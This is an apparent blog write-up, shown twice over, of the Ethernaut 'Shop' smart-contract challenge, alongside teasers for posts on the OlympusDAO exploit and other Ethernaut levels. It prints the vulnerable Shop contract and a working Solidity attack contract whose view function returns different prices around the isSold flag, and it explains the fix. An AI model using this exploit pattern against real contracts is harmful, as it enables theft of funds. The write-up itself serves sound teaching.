
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance
Share Dialog
Share Dialog

Subscribe to 0xbanky

Subscribe to 0xbanky
This challenge deals with changing state on a contract based on the returned value from calling another contract.
We’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
We need to call the Shop contract from a contract that implements the Buyer interface. The second thing to note is that the call to price in the Buyer contract will need to change to a value that is less than 100 the second time it is called.
Since the price function needs to have a view modifier, it cannot update state. Therefore, the Buyer contract cannot simply keep track of how many times price has been called internally.
The key to solving this challenge is that the Buyer function can read the state of Shop. In the Shop contract, the isSold variable is updated to true before the price is set and _buyer.price() is called again. This issue could be resolved by ensuring _buyer.price() is called only once and storing the returned value locally. However, for us this is an attack vector.
My attack contract looks like this
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Buyer {
Shop shop;
constructor(address _shopAddress) {
shop = Shop(_shopAddress);
}
function price() external view returns (uint) {
if (!shop.isSold()) {
return 120;
} else {
return 10;
}
}
function attack() public {
shop.buy();
}
}
interface Shop {
function buy() external;
function isSold() view external returns (bool);
}
Here, I simply check the value of isSold on the Shop contract and change the value that is returned from price if it is. The key takeaway here is that view functions may not modify state themselves, but they can change their behaviour based on external state modifications.
It's unsafe to change the state based on external and untrusted contracts logic.
This challenge deals with changing state on a contract based on the returned value from calling another contract.
We’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
We need to call the Shop contract from a contract that implements the Buyer interface. The second thing to note is that the call to price in the Buyer contract will need to change to a value that is less than 100 the second time it is called.
Since the price function needs to have a view modifier, it cannot update state. Therefore, the Buyer contract cannot simply keep track of how many times price has been called internally.
The key to solving this challenge is that the Buyer function can read the state of Shop. In the Shop contract, the isSold variable is updated to true before the price is set and _buyer.price() is called again. This issue could be resolved by ensuring _buyer.price() is called only once and storing the returned value locally. However, for us this is an attack vector.
My attack contract looks like this
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Buyer {
Shop shop;
constructor(address _shopAddress) {
shop = Shop(_shopAddress);
}
function price() external view returns (uint) {
if (!shop.isSold()) {
return 120;
} else {
return 10;
}
}
function attack() public {
shop.buy();
}
}
interface Shop {
function buy() external;
function isSold() view external returns (bool);
}
Here, I simply check the value of isSold on the Shop contract and change the value that is returned from price if it is. The key takeaway here is that view functions may not modify state themselves, but they can change their behaviour based on external state modifications.
It's unsafe to change the state based on external and untrusted contracts logic.
<100 subscribers
<100 subscribers
No activity yet